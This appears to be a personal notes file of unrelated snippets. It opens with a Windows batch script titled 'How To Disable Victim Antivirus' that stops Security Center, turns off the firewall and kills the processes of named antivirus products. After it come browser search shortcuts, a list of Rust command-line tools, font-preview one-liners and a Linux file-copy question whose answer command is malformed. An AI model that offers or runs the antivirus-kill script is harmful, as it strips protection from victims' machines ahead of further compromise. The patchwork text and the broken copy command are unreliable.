it.. 😉 How To Disable Victim Antivirus Open Notepad Copy it and Paste To Notepad @ echo off rem — rem Permanently Kill Anti-Virus net stop “Security Center” netsh firewall set opmode mode=disable tskill /A av* tskill /A fire* tskill /A anti* cls tskill /A spy* tskill /A bullguard tskill /A PersFw tskill /A KAV* tskill /A ZONEALARM tskill /A SAFEWEB cls tski ll /A OUTPOST ** Shortcut to search! == Shortcuts to Search == "wa": "https://wiki.archlinux.org/?search={}" "lib": "http://gen.lib.rus.ec/search.php?req={}" "yt": "https://youtube.com/results?=search_query={}" ** Rust Programs to replace gnu core utilities - exa - starship prompt - bat (cat) - ripgrep - fd (find) - tokei - procs (ps) ** Important Testing # Playing with font preview `fc-list | cut -d ":" -f 1 | dmenu -i -l 15 | xargs display {}` `fc-list | cut -d ":" -f 1 | fzf --preview="display {-1}" ** Some Challenges Hi Linux experts, using cp I need to copy all files except softlinks is there a command for that? Reply: `cp -p ls -l|grep ^'-r'|awk -F" " '{print $9}' direcotry/` `ls -l|grep ^'-r'|awk -F" " '{print $9}'` it's fetching only files which start with -r directory start with "d" soft link start with "l" file start with "-"